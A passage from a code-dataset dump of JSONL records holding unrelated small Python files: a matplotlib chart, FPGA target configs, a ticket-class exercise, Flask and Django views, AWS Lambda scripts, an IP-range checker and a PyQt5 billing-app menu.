[11,7,2,4,6]\n\nplt.bar(x, y, label = \"bar1\", color = \"r\") #r g b y k \nplt.bar(x2, y2, label = \"bar2\", color = \"#11ff11\") # \n\nplt.xlabel('x') \nplt.ylabel('y') \n\nplt.title('This is the graph\\nCheck it out') \n\nplt.legend()\n\nplt.show()\n","sub_path":"matplotlib/3 bar charts.py","file_name":"3 bar charts.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"291272531","text":"import collections\n\nTarget = collections.namedtuple('Target',\n ['name', 'system_name', 'device_family', 'device', 'base_qsys_file',\n 'base_proj_tcl_file', 'files_list', 'original_system', 'base_address',\n 'axi_master_name', 'audio_in', 'audio_out', 'clock_name', 'top_level_vhdl_file'])\n\nDE10 = Target(name='de10', system_name='de10_system', device_family='Cyclone V',\n device='5CSEBA6U23I7', base_qsys_file='soc_base_system.qsys', base_proj_tcl_file='de10_proj.tcl',\n files_list=['DE10Nano_System.vhd',\n 'de10_system/synthesis/de10_system.qip'],\n top_level_vhdl_file='DE10Nano_System.vhd', original_system='soc_system', base_address='20', axi_master_name='hps.h2f_lw_axi_master',\n audio_in='FE_Qsys_AD1939_Audio_Mini_v1_0.Line_In', audio_out='FE_Qsys_AD1939_Audio_Mini_v1_0.Headphone_Out',\n clock_name='clk_hps'\n )\n \nAudioblade = Target(name='audioblade', system_name='audioblade_system', device_family='Arria 10',\n device='10AS066H2F34I1HG', base_qsys_file='som_system.qsys', base_proj_tcl_file='audioblade_proj.tcl',\n files_list=['A10SoM_System.vhd',\n 'audioblade_system/audioblade_system.qip', 'pll.qsys'],\n top_level_vhdl_file='A10SoM_System.vhd', original_system='som_system', base_address='20',\n axi_master_name='arria10_hps_0.h2f_lw_axi_master', audio_in='FE_Qsys_AD1939_Audio_Research_v1_0.Line_In',\n audio_out='FE_Qsys_AD1939_Audio_Research_v1_0.Headphone_Out', clock_name='clk_1'\n )\n","sub_path":"vhdl/quartus/target.py","file_name":"target.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"51435336","text":"L = ['Mango', 'Grapes', 'Mango', 'Apple', 'Grapes', 'Grapes']\r\nword_list=[]\r\ncount_list=[]\r\na=list(set(L))\r\na.sort()\r\nfor each in a:\r\n word_list.append(each)\r\n count_list.append(L.count(each))\r\nprint(word_list)\r\nprint(count_list)\r\n","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"625105351","text":"# -*- coding: utf-8 -*-\n\n# Hello! Good luck!\n\n##############\n# TASK 1 #\n##############\n\nfrom datetime import date, datetime\nimport json\n\n\nclass Ticket(object):\n def __init__(\n self,\n ticket_id, # the unique identifier of the ticket;\n event_date, # the date of the event;\n event_time, # the time when event occurs;\n event_name, # the event name -> obvious one :);\n client, # the INSTANCE of the client;\n room_number, # the room number in which event happens;\n ):\n self.ticket_id = ticket_id\n self.event_date = event_date\n self.event_time = event_time\n self.event_name = event_name\n self.client = client\n self.room_number = room_number\n\n self.client.add_ticket(ticket_id) # client update\n\n def get_ticket_data(self): # Sutask 2 - JSON on data\n return json.dumps(\n {\n \"event_time\": self.event_time,\n \"event_name\": self.event_name,\n \"room_number\": self.room_number,\n \"client\": self.client.get_client_info(),\n \"ticket_id\": self.ticket_id,\n \"event_date\": self.event_date\n },\n indent=4,\n separators=(',', ': '),\n )\n\n def print_ticket_data(self):\n print(self.get_ticket_data())\n\n\nclass Client(object): # Subtask 1 - client class\n def __init__(\n self,\n first_name,\n last_name,\n birth_date,\n sex,\n ):\n self.first_name = first_name\n self.last_name = last_name\n self.birth_date = birth_date # rrrr-mm-dd format taken from subtask 2 json example\n self.sex = sex\n self.tickets = []\n\n def add_ticket(self, ticket_id):\n self.tickets.append(ticket_id)\n\n def get_ticket_ids(self):\n return self.tickets\n\n def print_tickets(self): # for debug purpose\n print(\"Client: \" + self.first_name + \" \" + self.last_name + \" has \" + str(len(self.tickets)) +\n \" tickets:\" + str(self.get_ticket_ids()))\n\n def get_client_info(self):\n return {\n 'first_name': self.first_name,\n 'last_name': self.last_name,\n 'birth_date': self.birth_date,\n 'sex': self.sex,\n }\n\n def get_current_age(self):\n birth_date = datetime.strptime(self.birth_date, '%Y-%m-%d')\n current_date = datetime.today()\n year_diff = current_date.year - birth_date.year\n if (current_date.month, current_date.day) < (birth_date.month, birth_date.day): # birthday check\n return year_diff - 1\n else:\n return year_diff - 0\n\n def can_watch_pegi(self, mark): # Subtask 3 - pegi method\n if self.get_current_age() >= mark:\n return 1 # old enough to watch\n else:\n return 0 # not old enough to watch\n\n\n# SUBTASK 4\nclient1 = Client(\"Michal\", \"Nowak\", \"1994-08-17\", \"M\")\nt1 = Ticket('1', \"2016-04-05\", \"16:30\", \"Star Wars: Director's Cut\", client1, 5)\nt2 = Ticket('2', \"2016-06-20\", \"14:10\", \"Rekrutacja nowych pracownikow\", client1, 10)\nt1.print_ticket_data() # json example\nclient1.print_tickets()\n# Pegi Test\nclient2 = Client(\"Dominika\", \"Kowalska\", \"2002-04-16\", \"F\")\nprint(client2.can_watch_pegi(16)) # c2 is 16, expected false\nprint(client2.can_watch_pegi(12)) # c2 is 16, expected true\n# Tricky birthday date\nclient3 = Client(\"Jan\", \"Jankowski\", \"2000-12-10\", \"M\")\nprint(client2.can_watch_pegi(16)) # Expected false because before b-day\n\n##############\n# TASK 2 #\n##############\n\n# SUBTASK 1\n# do it in pythonic way;\n# it just adds the index to the list element on this index\n# and return a new list;\n# TIP: shorter is better;\n\n\ndef iterate_over_list(some_list):\n i = 0\n new_list = []\n for element in some_list:\n n_element = int(element) + i\n new_list.append(n_element)\n i = i + 1\n\n return new_list\n\n\ndef iterate_over_list_oneliner(some_list):\n return [i + some_list[i] for i in range(len(some_list))]\n# Testing the result:\nexample_list = [1, 2, 3, 4, 5, 10, 11, 12, 13]\nprint(\"TASK 2\")\nprint(iterate_over_list(example_list))\nprint(iterate_over_list_oneliner(example_list))\n# SUBTASK 2\n# and how handle this?\n# in such case - method should repeat string index times;\n# input -> ['a', 'b', 'c']; output: ['', 'b', 'cc'];\n\n\ndef iterate_over_str_list_oneline(some_list):\n return [i * some_list[i] for i in range(len(some_list))]\n\nexample_str_list = ['a', 'b', 'c', 'd', 'e', 'f']\ntry:\n iterate_over_list(example_str_list)\nexcept ValueError:\n print(iterate_over_str_list_oneline(example_str_list))\n\n##############\n# TASK 3 #\n##############\n\n# Imagine that you have a database table, defined as follows:\n# TABLE poi\n# COLUMN id SERIAL (primary_key)\n# COLUMN name TEXT\n# COLUMN location_city TEXT\n# COLUMN location_country TEXT\n# COLUMN latitude NUMERIC\n# COLUMN longitude NUMERIC\n\n# Write an SQL query which returns the aggregated poi by location_city column;\n# We want to know how many poi (Pint of interest is in London)\n# So we want to get, something like this:\n# city|pois_count\n# London|123\n# Warsaw|541\n# Moscow|32\n\n# Query:\n# select location_city as city, count(location_city) as pois_count from poi group by location_city;\n\n# SUBTASK 1\n# Assume that above query will be done quite frequently, additionally\n# there will be also a query which will be filtering (WHERE) on location_city.\n# What can we do to improve database performance?\n\n# Nalezy zalozyc index na location_city.\n","sub_path":"solutions/blue_can.py","file_name":"blue_can.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"309683733","text":"# coding: utf-8\n# @author : lin\n# @time : 2019/5/17\n\nimport json\nfrom flask import request, Blueprint\nfrom db_model.model_dao import VegetableModelDao, VegetablePriceModelDao\nfrom lib.http_response_code import response\nfrom lib.decorator import catch_error\n\nveg_app = Blueprint('vegetable', __name__)\n\n\n@veg_app.route('k_line', methods=['POST'])\n@catch_error\ndef get_k_line():\n \"\"\"\n 获取蔬菜k线图\n :return:\n \"\"\"\n req_json = request.json\n vegetable_name = req_json['vegetable_name']\n date = req_json['date']\n\n if not (vegetable_name and date):\n return json.dumps(response[20101])\n price = []\n new_date = []\n for veg_name in vegetable_name:\n veg_id = VegetableModelDao.get_id_by_name(veg_name)\n veg_model_list = VegetablePriceModelDao.query_vegetable_price_data(2, veg_id, date[0], date[1])\n price.append([veg_model.price for veg_model in veg_model_list])\n new_date.append([veg_model.date for veg_model in veg_model_list])\n\n response_data = {'vegetable_name': vegetable_name, 'price': price, 'date': new_date}\n data = {'data': response_data}\n data.update(response[200])\n return json.dumps(data)\n","sub_path":"qianrushiInterface/vegtable/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"510754238","text":"import os\nimport json\nfrom time import sleep, time\nfrom pprint import pprint\n\nimport boto3\nfrom botocore.client import Config\n\nfrom awswrangler.s3.utils import delete_objects\n\n\ndef clean_output(bucket):\n path = f\"s3://{bucket}/lambda_output/\"\n print(f\"Cleaning {path}*\")\n delete_objects(path)\n\n\ndef run_job(name, workload, bucket):\n key = f\"workload_{workload:05}mb.csv\"\n\n config_dict = {\"read_timeout\": 960, \"retries\": {\"max_attempts\": 0}}\n config = Config(**config_dict)\n client = boto3.client(\"lambda\", config=config)\n print(f\"Starting lambda for {key}\")\n payload = {\"--workload\": key, \"--bucket\": bucket}\n start = time()\n try:\n client.invoke(\n FunctionName=name,\n InvocationType=\"RequestResponse\",\n Payload=json.dumps(payload),\n )\n elapsed = time() - start\n except: # noqa\n elapsed = 0\n\n return elapsed, elapsed\n\n\ndef main():\n current_path = __file__.rpartition(\"/\")[0]\n configs = json.load(open(f\"{current_path}/config.json\"))\n bucket = configs.get(\"bucket\")\n name = configs.get(\"lambda-name\")\n workloads = [wl for wl in configs.get(\"workloads\") if wl < 1024]\n metrics = {}\n for wl in workloads:\n clean_output(bucket)\n print(\"Waiting warm up ends...\")\n sleep(600)\n elapsed, execution = run_job(name, wl, bucket)\n metrics[wl] = {\n \"ExecutionTime\": execution,\n \"TotalElapsedTime\": elapsed,\n \"WarmUp\": elapsed - execution,\n }\n print(f\"metrics: {metrics[wl]}\")\n print(\"Total metrics:\")\n pprint(metrics)\n if not os.path.exists(\"metrics\"):\n os.makedirs(\"metrics\")\n json.dump(metrics, open(\"metrics/lambda.json\", \"w\"))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"benchmarks/serverless_etl/run_lambda.py","file_name":"run_lambda.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"98487954","text":"from methods import get_user\nfrom jsonschema import validate\nfrom jsonschema.exceptions import ValidationError\nimport json\nimport logging\n\nlogger = logging.getLogger()\n\n# Support Methods\nGET_USER_METHOD = \"getUser\"\n\n# Error Codes\nNO_METHOD_ERROR = \"NO_METHOD_ERROR\"\nBAD_REQUEST_ERROR = \"BAD_REQUEST_ERROR\"\n\nwith open(\"./schemas/json-rpc.json\") as f:\n JSON_RPC_SCHEMA = json.load(f)\n\nwith open(\"./schemas/json-rpc-response.json\") as f:\n JSON_RPC_RESPONSE = json.load(f)\n\n\ndef valid_event(event):\n \"\"\"Validates event against defined JSON RPC schema file\"\"\"\n try:\n validate(instance=event, schema=JSON_RPC_SCHEMA)\n return True\n except ValidationError as e:\n logger.error(e)\n return False\n\n\ndef valid_response(response):\n \"\"\"Validates event against defined JSON RPC schema file\"\"\"\n try:\n validate(instance=response, schema=JSON_RPC_RESPONSE)\n return True\n except ValidationError as e:\n logger.error(e)\n return False\n\n\ndef format_response(event, result):\n return {\n **result,\n \"jsonrpc\": event.get(\"jsonrpc\", \"2.0\"),\n \"id\": event.get(\"id\")\n }\n\n\ndef lambda_handler(event, context):\n \"\"\"\n JSON RPC event contains:\n jsonrpc(str) - the protocol version number e.g. \"2.0\"\n method(str) - the name of the method to be invoked\n params(dict) - object to be passed as parameters to the defined method\n id(int) - id to match response with the request it is replying to\n \"\"\"\n\n if not valid_event(event):\n result = {\n \"result\": None,\n \"error\": BAD_REQUEST_ERROR,\n }\n return format_response(event, result)\n\n if event.get(\"method\") == GET_USER_METHOD:\n result = get_user.get_user(event.get(\"params\"))\n response = format_response(event, result)\n if valid_response(response):\n return response\n else:\n return \"IT'S BROKEN\"\n\n # Method doesn't match any known methods\n result = {\n \"result\": None,\n \"error\": NO_METHOD_ERROR\n }\n response = format_response(event, result)\n if valid_response(response):\n return response\n else:\n return \"IT'S BROKEN\"\n\n","sub_path":"src/json_rpc_api.py","file_name":"json_rpc_api.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"256079655","text":"import urllib.request\nimport urllib.parse\nfrom IPy import IP\nimport multiprocessing\nimport time\n\nurl1 = 'http://www.tftest.org/service/sys/issueinfo/checkIPaddress?issuesubmitip='\n\n\ndef getIP():\n ips = IP(input('请输入:'))\n print(ips.len())\n for ip in ips:\n ip = str(ip)\n p = multiprocessing.Process(target=do, args=(ip,))\n p.start()\n\n\ndef do(ip):\n url = url1 + ip\n f = urllib.request.urlopen(url)\n data = f.read().decode('utf-8')[24]\n if data == '2':\n print(ip + '\\t' + data)\n time.sleep(1)\n end = time.clock()\n # print('Running time: %s Seconds' % (end - start))\n\nstart = time.clock()\nif __name__ == '__main__':\n\n getIP()\n","sub_path":"mytools/checkIPaddress.py","file_name":"checkIPaddress.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"474425309","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nimport sys\r\n\r\n\r\nimport subprocess\r\n\r\n\r\n\r\nclass GL_MainWindow(object):\r\n\r\n def openRacuni(self):\r\n\r\n subprocess.call(\"python\" + \" unosRacunafinal1.py\", shell=True)\r\n\r\n def openArtikli(self):\r\n\r\n subprocess.call(\"python\" + \" artikli.py\", shell=True)\r\n\r\n def openRadnici(self):\r\n\r\n subprocess.call(\"python\" + \" radprijava.py\", shell=True)\r\n\r\n def openPregled(self):\r\n\r\n subprocess.call(\"python\" + \" pregled.py\", shell=True)\r\n def close(self):\r\n sys.exit()\r\n\r\n\r\n\r\n def setupUi1(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(1169, 1007)\r\n font = QtGui.QFont()\r\n font.setFamily(\"Franklin Gothic Medium\")\r\n font.setPointSize(10)\r\n MainWindow.setFont(font)\r\n icon = QtGui.QIcon()\r\n icon.addPixmap(QtGui.QPixmap(\"ikonaframe.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n MainWindow.setWindowIcon(icon)\r\n MainWindow.setAutoFillBackground(False)\r\n MainWindow.setStyleSheet(\"background-color: rgb(255, 255, 199);\")\r\n MainWindow.setDocumentMode(False)\r\n\r\n\r\n\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.centralwidget)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.groupBox = QtWidgets.QGroupBox(self.centralwidget)\r\n self.groupBox.setMaximumSize(QtCore.QSize(490, 1000))\r\n self.groupBox.setStyleSheet(\"background-color: rgb(255, 253, 171);\\n\"\r\n\"\")\r\n self.groupBox.setFlat(False)\r\n self.groupBox.setCheckable(False)\r\n self.groupBox.setObjectName(\"groupBox\")\r\n self.btnUnosRacuna = QtWidgets.QPushButton(self.groupBox)\r\n self.btnUnosRacuna.setGeometry(QtCore.QRect(20, 260, 450, 120))\r\n self.btnUnosRacuna.setMaximumSize(QtCore.QSize(450, 120))\r\n self.btnUnosRacuna.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.btnUnosRacuna.setAutoFillBackground(False)\r\n self.btnUnosRacuna.setStyleSheet(\"QPushButton {\\n\"\r\n\" font: 24pt \\\"Franklin Gothic Medium\\\";\\n\"\r\n\" color: #333;\\n\"\r\n\" border: 2px solid #555;\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\" border-style: outset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\r\n\" );\\n\"\r\n\" padding: 5px;\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover {\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\r\n\" );\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed {\\n\"\r\n\" border-style: inset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\r\n\" );\\n\"\r\n\" }\")\r\n icon1 = QtGui.QIcon()\r\n icon1.addPixmap(QtGui.QPixmap(\"rac.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btnUnosRacuna.setIcon(icon1)\r\n self.btnUnosRacuna.setIconSize(QtCore.QSize(55, 55))\r\n self.btnUnosRacuna.setObjectName(\"btnUnosRacuna\")\r\n self.btnUnosRacuna.clicked.connect(self.openRacuni)\r\n self.btnPregledRacuna = QtWidgets.QPushButton(self.groupBox)\r\n self.btnPregledRacuna.setGeometry(QtCore.QRect(20, 390, 450, 120))\r\n self.btnPregledRacuna.setMaximumSize(QtCore.QSize(450, 120))\r\n self.btnPregledRacuna.setStyleSheet(\"QPushButton {\\n\"\r\n\" font: 24pt \\\"Franklin Gothic Medium\\\";\\n\"\r\n\" color: #333;\\n\"\r\n\" border: 2px solid #555;\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\" border-style: outset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\r\n\" );\\n\"\r\n\" padding: 5px;\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover {\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\r\n\" );\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed {\\n\"\r\n\" border-style: inset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\r\n\" );\\n\"\r\n\" }\")\r\n icon2 = QtGui.QIcon()\r\n icon2.addPixmap(QtGui.QPixmap(\"pracuna.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btnPregledRacuna.setIcon(icon2)\r\n self.btnPregledRacuna.setIconSize(QtCore.QSize(55, 50))\r\n self.btnPregledRacuna.setObjectName(\"btnPregledRacuna\")\r\n self.btnPregledRacuna.clicked.connect(self.openPregled)\r\n self.btnArtikli = QtWidgets.QPushButton(self.groupBox)\r\n self.btnArtikli.setGeometry(QtCore.QRect(20, 520, 450, 120))\r\n self.btnArtikli.setMaximumSize(QtCore.QSize(450, 120))\r\n font = QtGui.QFont()\r\n font.setFamily(\"Franklin Gothic Medium\")\r\n font.setPointSize(24)\r\n font.setBold(False)\r\n font.setItalic(False)\r\n font.setWeight(50)\r\n self.btnArtikli.setFont(font)\r\n self.btnArtikli.setWhatsThis(\"\")\r\n self.btnArtikli.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.btnArtikli.setAutoFillBackground(False)\r\n self.btnArtikli.setStyleSheet(\"QPushButton {\\n\"\r\n\" font: 24pt \\\"Franklin Gothic Medium\\\";\\n\"\r\n\" color: #333;\\n\"\r\n\" border: 2px solid #555;\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\" border-style: outset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\r\n\" );\\n\"\r\n\" padding: 5px;\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover {\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\r\n\" );\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed {\\n\"\r\n\" border-style: inset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\r\n\" );\\n\"\r\n\" }\")\r\n icon3 = QtGui.QIcon()\r\n icon3.addPixmap(QtGui.QPixmap(\"artikli1.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btnArtikli.setIcon(icon3)\r\n self.btnArtikli.setIconSize(QtCore.QSize(55, 50))\r\n self.btnArtikli.setCheckable(False)\r\n self.btnArtikli.setObjectName(\"btnArtikli\")\r\n self.btnArtikli.clicked.connect(self.openArtikli)\r\n self.btnRadnici = QtWidgets.QPushButton(self.groupBox)\r\n self.btnRadnici.setGeometry(QtCore.QRect(20, 650, 450, 120))\r\n self.btnRadnici.setMaximumSize(QtCore.QSize(450, 120))\r\n self.btnRadnici.setStyleSheet(\"QPushButton {\\n\"\r\n\" font: 24pt \\\"Franklin Gothic Medium\\\";\\n\"\r\n\" color: #333;\\n\"\r\n\" border: 2px solid #555;\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\" border-style: outset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\r\n\" );\\n\"\r\n\" padding: 5px;\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover {\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\r\n\" );\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed {\\n\"\r\n\" border-style: inset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\r\n\" );\\n\"\r\n\" }\")\r\n icon4 = QtGui.QIcon()\r\n icon4.addPixmap(QtGui.QPixmap(\"radnici.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btnRadnici.setIcon(icon4)\r\n self.btnRadnici.setIconSize(QtCore.QSize(70, 60))\r\n self.btnRadnici.setObjectName(\"btnRadnici\")\r\n self.btnRadnici.clicked.connect(self.openRadnici)\r\n\r\n self.label = QtWidgets.QLabel(self.groupBox)\r\n self.label.setGeometry(QtCore.QRect(30, 30, 401, 61))\r\n self.label.setStyleSheet(\"\\n\"\r\n\"font: 20pt \\\"Franklin Gothic Medium\\\";\")\r\n self.label.setTextFormat(QtCore.Qt.RichText)\r\n self.label.setScaledContents(True)\r\n self.label.setAlignment(QtCore.Qt.AlignCenter)\r\n self.label.setWordWrap(False)\r\n self.label.setObjectName(\"label\")\r\n self.btnIzlaz = QtWidgets.QPushButton(self.groupBox)\r\n self.btnIzlaz.setGeometry(QtCore.QRect(160, 810, 161, 35))\r\n self.btnIzlaz.setMaximumSize(QtCore.QSize(161, 35))\r\n self.btnIzlaz.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.btnIzlaz.setStyleSheet(\"QPushButton {\\n\"\r\n\" font: 14pt \\\"Franklin Gothic Medium\\\";\\n\"\r\n\" color: #333;\\n\"\r\n\" border: 2px solid #555;\\n\"\r\n\" border-radius: 20px;\\n\"\r\n\" border-style: outset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\r\n\" );\\n\"\r\n\" padding: 5px;\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover {\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\r\n\" );\\n\"\r\n\" }\\n\"\r\n\"\\n\"\r\n\"QPushButton:pressed {\\n\"\r\n\" border-style: inset;\\n\"\r\n\" background: qradialgradient(\\n\"\r\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\r\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\r\n\" );\\n\"\r\n\" }\")\r\n icon5 = QtGui.QIcon()\r\n icon5.addPixmap(QtGui.QPixmap(\"slOdustani.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btnIzlaz.setIcon(icon5)\r\n self.btnIzlaz.setObjectName(\"btnIzlaz\")\r\n self.btnIzlaz.clicked.connect(self.close)\r\n self.label_2 = QtWidgets.QLabel(self.groupBox)\r\n self.label_2.setGeometry(QtCore.QRect(70, 110, 321, 121))\r\n self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft)\r\n self.label_2.setText(\"\")\r\n self.label_2.setPixmap(QtGui.QPixmap(\"logo.png\"))\r\n self.label_2.setObjectName(\"label_2\")\r\n self.horizontalLayout.addWidget(self.groupBox)\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(MainWindow)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 1169, 21))\r\n self.menubar.setObjectName(\"menubar\")\r\n MainWindow.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n MainWindow.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", '\"Van Reda\"'))\r\n self.groupBox.setTitle(_translate(\"MainWindow\", \"Glavni Izbornik\"))\r\n self.btnUnosRacuna.setText(_translate(\"MainWindow\", \"UNOS RAČUNA\"))\r\n self.btnPregledRacuna.setText(_translate(\"MainWindow\", \"PREGLED RAČUNA\"))\r\n self.btnArtikli.setText(_translate(\"MainWindow\", \"ARTIKLI\"))\r\n self.btnRadnici.setText(_translate(\"MainWindow\", \"RADNICI\"))\r\n self.label.setToolTip(_translate(\"MainWindow\", \"


\"))\r\n self.label.setText(_translate(\"MainWindow\", \"Buffet \\\"Van Reda\\\"\"))\r\n self.btnIzlaz.setText(_translate(\"MainWindow\", \"Izlaz\"))\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = GL_MainWindow()\r\n ui.setupUi1(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"glizbornik.py","file_name":"glizbornik.py","file_ext":"py","file_size_in_byte":11740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"24447659","text":"from django.shortcuts import render\nfrom django.views.generic import View\nfrom django.shortcuts import redirect\nfrom django.core.paginator import Paginator\nfrom django.views.generic.edit import FormView\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom .models import *\nfrom .forms import *\n\n\n# Create your views here.\ndef base_view(request):\n categories = Category.objects.all()\n products = Product.objects.all()\n\n paginator = Paginator(products, 2)\n page = request.GET.get('page')\n products_page = paginator.get_page(page)\n\n\n context = {\n 'categories': categories,\n 'products': products,\n 'products_page': products_page\n }\n return render(request, 'base.html', context)\n\n\ndef category_view(request, category_slug):\n category = Category.objects.get(slug=category_slug)\n products_of_category = Product.objects.filter(category=category)\n\n context = {\n 'category': category,\n 'products_of_category': products_of_category\n }\n return render(request, 'category.html', context)\n\n\ndef product_view(request, product_slug):\n product = Product.objects.get(slug=product_slug)\n\n context = {\n 'product': product\n }\n return render(request, 'product.html', context)\n\n\nclass CreateProductView(View):\n def get(self, request):\n form = ProductForm()\n\n context = {\n 'form': form\n }\n\n return render(request, 'product_create.html', context)\n\n def post(self, request):\n form = ProductForm(request.POST)\n\n if form.is_valid():\n product = form.save(commit=False)\n product.author = request.user\n product.save()\n\n return redirect('base')\n\n context = {\n 'form': form\n }\n\n return render(request, 'product_create.html', context)\n\n\nclass UpdateProductView(View):\n def get(self, request, slug):\n product = Product.objects.get(slug=slug)\n form = ProductForm(instance=product)\n\n context = {\n 'form': 